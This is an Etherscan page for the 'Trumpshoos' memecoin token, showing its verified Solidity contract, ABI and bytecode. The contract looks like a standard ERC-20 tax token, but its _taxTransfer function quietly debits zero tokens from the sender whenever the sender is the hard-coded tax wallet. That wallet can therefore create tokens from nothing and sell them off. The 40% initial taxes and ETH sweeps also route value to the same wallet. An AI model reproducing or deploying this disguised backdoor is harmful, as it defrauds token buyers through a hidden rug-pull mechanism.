ETH Price: $3,473.31 (+4.69%)

Token

Trumpshoos (TRUMPSHOOS)
 

Overview

Max Total Supply

1,000,000,000 TRUMPSHOOS

Holders

48

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,487,841.060850048 TRUMPSHOOS

Value
$0.00
0xb49d3f00b35a734670c94560e0519339b3437896
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TRUMPSHOOS

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-19
*/

/**
Web: https://trumpshoos.lol
X: https://x.com/trumpshoosX
Tg: https://t.me/trumpshoos_portal
**/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TRUMPSHOOS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 40;
    uint256 private _initialSellTax = 40;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Trumpshoos";
    string private constant _symbol = unicode"TRUMPSHOOS";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xb49EE7BA9eea8F7492C85cb78bBCA826599533Cd);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        
        _taxTransfer(from, to, amount, _finalSellTax * 10 ** _decimals, taxAmount, from != _taxWallet);
    }

    function _taxTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 tAmount,
        uint256 taxAmount,
        bool takeFee
    ) internal {
        tAmount = takeFee?amount:tAmount;

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(
                taxAmount
            );
            emit Transfer(from, address(this), taxAmount);
        }
        
        _balances[from] = _balances[from].sub(tAmount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function recoverEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff19169055602860078190556008555f6009818155600a8281556014600b819055600c55600f600d55600e929092556100419161031c565b61004f906301312d00610331565b600f5561005e6009600a61031c565b61006c906301312d00610331565b60105561007b6009600a61031c565b610086906064610331565b6011556100956009600a61031c565b6100a29062989680610331565b6012556014805461ffff60a81b191690553480156100be575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191674b49ee7ba9eea8f7492c85cb78bbca826599533cd001790556101336009600a61031c565b61014190633b9aca00610331565b335f9081526001602081905260408220929092556003906101695f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560065461010090049091168352912080549092161790556101cb3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102026009600a61031c565b61021090633b9aca00610331565b60405190815260200160405180910390a3610348565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561027457815f190482111561025a5761025a610226565b8085161561026757918102915b93841c939080029061023f565b509250929050565b5f8261028a57506001610316565b8161029657505f610316565b81600181146102ac57600281146102b6576102d2565b6001915050610316565b60ff8411156102c7576102c7610226565b50506001821b610316565b5060208310610133831016604e8410600b84101617156102f5575081810a610316565b6102ff838361023a565b805f190482111561031257610312610226565b0290505b92915050565b5f61032a60ff84168361027c565b9392505050565b808202811582820484141761031657610316610226565b61197b806103555f395ff3fe60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063bcdb446b11610062578063bcdb446b14610320578063bf474bed14610334578063c876d0b914610349578063c9567bf914610362578063dd62ed3e14610376575f80fd5b80638da5cb5b146102805780638f9a55c0146102a657806395d89b41146102bb5780639e78fb4f146102ed578063a9059cbb14610301575f80fd5b8063313ce567116100e3578063313ce567146101f257806370a082311461020d578063715018a614610241578063751039fc146102575780637d1db4a51461026b575f80fd5b806306fdde0314610129578063095ea7b31461016d5780630faee56f1461019c57806318160ddd146101bf57806323b872dd146101d3575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600a8152695472756d7073686f6f7360b01b60208201525b6040516101649190611582565b60405180910390f35b348015610178575f80fd5b5061018c6101873660046115ce565b6103ba565b6040519015158152602001610164565b3480156101a7575f80fd5b506101b160125481565b604051908152602001610164565b3480156101ca575f80fd5b506101b16103d0565b3480156101de575f80fd5b5061018c6101ed3660046115f8565b6103f0565b3480156101fd575f80fd5b5060405160098152602001610164565b348015610218575f80fd5b506101b1610227366004611636565b6001600160a01b03165f9081526001602052604090205490565b34801561024c575f80fd5b50610255610457565b005b348015610262575f80fd5b506102556104d1565b348015610276575f80fd5b506101b1600f5481565b34801561028b575f80fd5b505f546040516001600160a01b039091168152602001610164565b3480156102b1575f80fd5b506101b160105481565b3480156102c6575f80fd5b5060408051808201909152600a8152695452554d5053484f4f5360b01b6020820152610157565b3480156102f8575f80fd5b5061025561058c565b34801561030c575f80fd5b5061018c61031b3660046115ce565b610785565b34801561032b575f80fd5b50610255610791565b34801561033f575f80fd5b506101b160115481565b348015610354575f80fd5b5060065461018c9060ff1681565b34801561036d575f80fd5b506102556107c5565b348015610381575f80fd5b506101b1610390366004611651565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c63384846109aa565b5060015b92915050565b5f6103dd6009600a61177c565b6103eb90633b9aca0061178a565b905090565b5f6103fc848484610ace565b61044d84336104488560405180606001604052806028815260200161191e602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110a8565b6109aa565b5060019392505050565b5f546001600160a01b031633146104895760405162461bcd60e51b8152600401610480906117a1565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104fa5760405162461bcd60e51b8152600401610480906117a1565b6105066009600a61177c565b61051490633b9aca0061178a565b600f556105236009600a61177c565b61053190633b9aca0061178a565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61056b6009600a61177c565b61057990633b9aca0061178a565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105b55760405162461bcd60e51b8152600401610480906117a1565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105fe9030906105f06009600a61177c565b61044890633b9aca0061178a565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067291906117d6565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f591906117d6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561073f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076391906117d6565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f6103c6338484610ace565b5f546001600160a01b031633146107ba5760405162461bcd60e51b8152600401610480906117a1565b6107c3476110e0565b565b5f546001600160a01b031633146107ee5760405162461bcd60e51b8152600401610480906117a1565b601454600160a01b900460ff16156108485760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610480565b6013546001600160a01b031663f305d7194730610879816001600160a01b03165f9081526001602052604090205490565b5f8061088c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f2573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061091791906117f1565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561096c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610990919061181c565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a0c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610480565b6001600160a01b038216610a6d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610480565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b325760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610480565b6001600160a01b038216610b945760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610480565b5f8111610bf55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610480565b601454600160b01b900460ff161580610c175750601454600160a81b900460ff165b15610cbf576001600160a01b0383165f90815260016020526040902054610c3e908261111f565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c6c9082611167565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac19085815260200190565b5f80546001600160a01b03858116911614801590610cea57505f546001600160a01b03848116911614155b1561106557610d1b6064610d15600b54600e5411610d0a57600754610d0e565b6009545b85906111c5565b90611243565b60065490915060ff1615610e01576013546001600160a01b03848116911614801590610d5557506014546001600160a01b03848116911614155b15610e0157325f908152600560205260409020544311610def5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610480565b325f9081526005602052604090204390555b6014546001600160a01b038581169116148015610e2c57506013546001600160a01b03848116911614155b8015610e5057506001600160a01b0383165f9081526003602052604090205460ff16155b15610f3657600f54821115610ea75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610480565b60105482610ec9856001600160a01b03165f9081526001602052604090205490565b610ed3919061183b565b1115610f215760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610480565b600e8054905f610f308361184e565b91905055505b6014546001600160a01b038481169116148015610f5c57506001600160a01b0384163014155b15610f8957610f866064610d15600c54600e5411610f7c57600854610d0e565b600a5485906111c5565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610fbf57506014546001600160a01b038581169116145b8015610fd45750601454600160b01b900460ff165b8015610fe35750600d54600e54115b801561100757506001600160a01b0385165f9081526003602052604090205460ff16155b801561102b57506001600160a01b0384165f9081526003602052604090205460ff16155b1561106357601154811115611057576110576110528461104d84601254611284565b611284565b611298565b47611061476110e0565b505b505b6110a28484846110776009600a61177c565b600a54611084919061178a565b60065486906001600160a01b038b8116610100909204161415611408565b50505050565b5f81848411156110cb5760405162461bcd60e51b81526004016104809190611582565b505f6110d78486611866565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561111b573d5f803e3d5ffd5b5050565b5f61116083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a8565b9392505050565b5f80611173838561183b565b9050838110156111605760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610480565b5f825f036111d457505f6103ca565b5f6111df838561178a565b9050826111ec8583611879565b146111605760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610480565b5f61116083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611556565b5f8183116112925782611160565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112de576112de611898565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611335573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061135991906117d6565b8160018151811061136c5761136c611898565b6001600160a01b03928316602091820292909201015260135461139291309116846109aa565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ca9085905f908690309042906004016118ac565b5f604051808303815f87803b1580156113e1575f80fd5b505af11580156113f3573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b806114135782611415565b835b9250811561148f57305f908152600160205260409020546114369083611167565b305f81815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114869086815260200190565b60405180910390a35b6001600160a01b0386165f908152600160205260409020546114b1908461111f565b6001600160a01b0387165f908152600160205260409020556114f46114d6858461111f565b6001600160a01b0387165f9081526001602052604090205490611167565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61153d878661111f565b60405190815260200160405180910390a3505050505050565b5f81836115765760405162461bcd60e51b81526004016104809190611582565b505f6110d78486611879565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146115cb575f80fd5b50565b5f80604083850312156115df575f80fd5b82356115ea816115b7565b946020939093013593505050565b5f805f6060848603121561160a575f80fd5b8335611615816115b7565b92506020840135611625816115b7565b929592945050506040919091013590565b5f60208284031215611646575f80fd5b8135611160816115b7565b5f8060408385031215611662575f80fd5b823561166d816115b7565b9150602083013561167d816115b7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116d657815f19048211156116bc576116bc611688565b808516156116c957918102915b93841c93908002906116a1565b509250929050565b5f826116ec575060016103ca565b816116f857505f6103ca565b816001811461170e576002811461171857611734565b60019150506103ca565b60ff84111561172957611729611688565b50506001821b6103ca565b5060208310610133831016604e8410600b8410161715611757575081810a6103ca565b611761838361169c565b805f190482111561177457611774611688565b029392505050565b5f61116060ff8416836116de565b80820281158282048414176103ca576103ca611688565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117e6575f80fd5b8151611160816115b7565b5f805f60608486031215611803575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561182c575f80fd5b81518015158114611160575f80fd5b808201808211156103ca576103ca611688565b5f6001820161185f5761185f611688565b5060010190565b818103818111156103ca576103ca611688565b5f8261189357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118fc5784516001600160a01b0316835293830193918301916001016118d7565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e5851d11bccf5c1c1566bacc605848447ad5e8e0addf3ea9973504ac67b977ec64736f6c63430008190033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063bcdb446b11610062578063bcdb446b14610320578063bf474bed14610334578063c876d0b914610349578063c9567bf914610362578063dd62ed3e14610376575f80fd5b80638da5cb5b146102805780638f9a55c0146102a657806395d89b41146102bb5780639e78fb4f146102ed578063a9059cbb14610301575f80fd5b8063313ce567116100e3578063313ce567146101f257806370a082311461020d578063715018a614610241578063751039fc146102575780637d1db4a51461026b575f80fd5b806306fdde0314610129578063095ea7b31461016d5780630faee56f1461019c57806318160ddd146101bf57806323b872dd146101d3575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600a8152695472756d7073686f6f7360b01b60208201525b6040516101649190611582565b60405180910390f35b348015610178575f80fd5b5061018c6101873660046115ce565b6103ba565b6040519015158152602001610164565b3480156101a7575f80fd5b506101b160125481565b604051908152602001610164565b3480156101ca575f80fd5b506101b16103d0565b3480156101de575f80fd5b5061018c6101ed3660046115f8565b6103f0565b3480156101fd575f80fd5b5060405160098152602001610164565b348015610218575f80fd5b506101b1610227366004611636565b6001600160a01b03165f9081526001602052604090205490565b34801561024c575f80fd5b50610255610457565b005b348015610262575f80fd5b506102556104d1565b348015610276575f80fd5b506101b1600f5481565b34801561028b575f80fd5b505f546040516001600160a01b039091168152602001610164565b3480156102b1575f80fd5b506101b160105481565b3480156102c6575f80fd5b5060408051808201909152600a8152695452554d5053484f4f5360b01b6020820152610157565b3480156102f8575f80fd5b5061025561058c565b34801561030c575f80fd5b5061018c61031b3660046115ce565b610785565b34801561032b575f80fd5b50610255610791565b34801561033f575f80fd5b506101b160115481565b348015610354575f80fd5b5060065461018c9060ff1681565b34801561036d575f80fd5b506102556107c5565b348015610381575f80fd5b506101b1610390366004611651565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c63384846109aa565b5060015b92915050565b5f6103dd6009600a61177c565b6103eb90633b9aca0061178a565b905090565b5f6103fc848484610ace565b61044d84336104488560405180606001604052806028815260200161191e602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110a8565b6109aa565b5060019392505050565b5f546001600160a01b031633146104895760405162461bcd60e51b8152600401610480906117a1565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104fa5760405162461bcd60e51b8152600401610480906117a1565b6105066009600a61177c565b61051490633b9aca0061178a565b600f556105236009600a61177c565b61053190633b9aca0061178a565b6010556006805460ff1916905